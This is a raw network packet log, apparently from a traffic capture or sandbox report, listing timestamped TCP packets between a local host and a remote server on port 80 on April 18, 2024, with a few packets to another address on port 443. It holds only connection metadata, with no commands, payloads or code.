Apr 18, 2024 23:40:21.674236059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674303055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674401999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674444914 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674465895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674465895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674493074 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674503088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674541950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674576998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674612045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674632072 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674649954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674660921 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674686909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674721956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674742937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674758911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674765110 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674797058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674834013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674844027 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674870014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674906015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674920082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674937010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674943924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.674957037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.674982071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675008059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675018072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675055027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675064087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675091982 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675115108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675129890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675132036 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675167084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675172091 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675204992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675240993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675251961 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675277948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675313950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675337076 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675348997 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675384998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675385952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675385952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675421953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675435066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675458908 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675497055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675504923 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675534964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675570965 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675589085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675606966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675642014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675642967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675676107 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675681114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675703049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675746918 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675782919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675798893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675820112 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675856113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675873995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675893068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675928116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675950050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.675962925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.675998926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676012993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676035881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676068068 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676074028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676125050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676142931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676181078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676191092 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676219940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676229954 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676258087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676292896 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676310062 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676328897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676351070 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676364899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676373959 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676409960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676428080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676465034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676476002 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676501989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676537991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676548958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676574945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676593065 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676611900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676647902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676656008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676685095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676691055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676721096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676757097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676765919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676795006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676830053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676841021 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676871061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676907063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676915884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676943064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.676989079 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.676995993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677032948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677063942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677067995 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677086115 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677107096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677113056 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677144051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677185059 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677189112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677222013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677258015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677268028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677294016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677329063 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677335978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677335978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677381039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677417040 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677453995 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677469015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677490950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677526951 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677536011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677562952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677598953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677608967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677634954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677654028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677673101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677683115 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677710056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677748919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677784920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677798986 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677822113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677859068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677867889 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677896023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677931070 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677933931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677948952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.677972078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.677979946 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678009033 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678045034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678054094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678082943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678109884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678119898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678128004 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678157091 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678194046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678255081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678255081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678282976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678319931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678374052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678379059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678411961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678447962 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678459883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678483963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678491116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678491116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678519964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678555965 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678569078 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678595066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.678612947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.678692102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.816951990 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:21.832000017 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.837587118 CEST	80	49788	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.837935925 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.860146999 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:21.919972897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.920066118 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.920404911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.920500994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924546957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924609900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924643993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924653053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924673080 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924691916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924705029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924731970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924771070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924782991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924810886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924850941 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924860001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924890041 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924928904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.924940109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.924968958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925007105 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925009012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925035954 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925045967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925055027 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925084114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925121069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925133944 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925158978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925198078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925209045 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925236940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925275087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925286055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925312996 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925353050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925362110 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925390959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925427914 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925441027 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925496101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925534964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925544024 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925573111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925610065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925635099 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925647974 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925684929 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925694942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925724030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925749063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925760984 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925786018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925807953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925846100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925856113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925885916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925905943 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925925016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925945997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.925962925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.925983906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926002026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926038027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926049948 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926079035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926095009 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926119089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926126003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926158905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926167011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926199913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926222086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926239014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926251888 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926278114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926316023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926352978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926366091 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926392078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926429987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926440001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926469088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926506042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926521063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926542997 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926559925 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926582098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926588058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926620007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926642895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926659107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926680088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926697016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926724911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926738977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926760912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926776886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926814079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926825047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926852942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926891088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926901102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.926928997 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926966906 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.926984072 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927005053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927042961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927052975 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927082062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927119017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927129984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927162886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927200079 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927203894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927221060 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927243948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927282095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927292109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927313089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927319050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927331924 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927357912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927380085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927397013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927407026 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927433968 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927470922 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927509069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927516937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927548885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927586079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927601099 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927623987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927660942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927671909 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927699089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927736998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.927752018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.927774906 CEST	80	49768	193.233.132.167	192.168.2.4
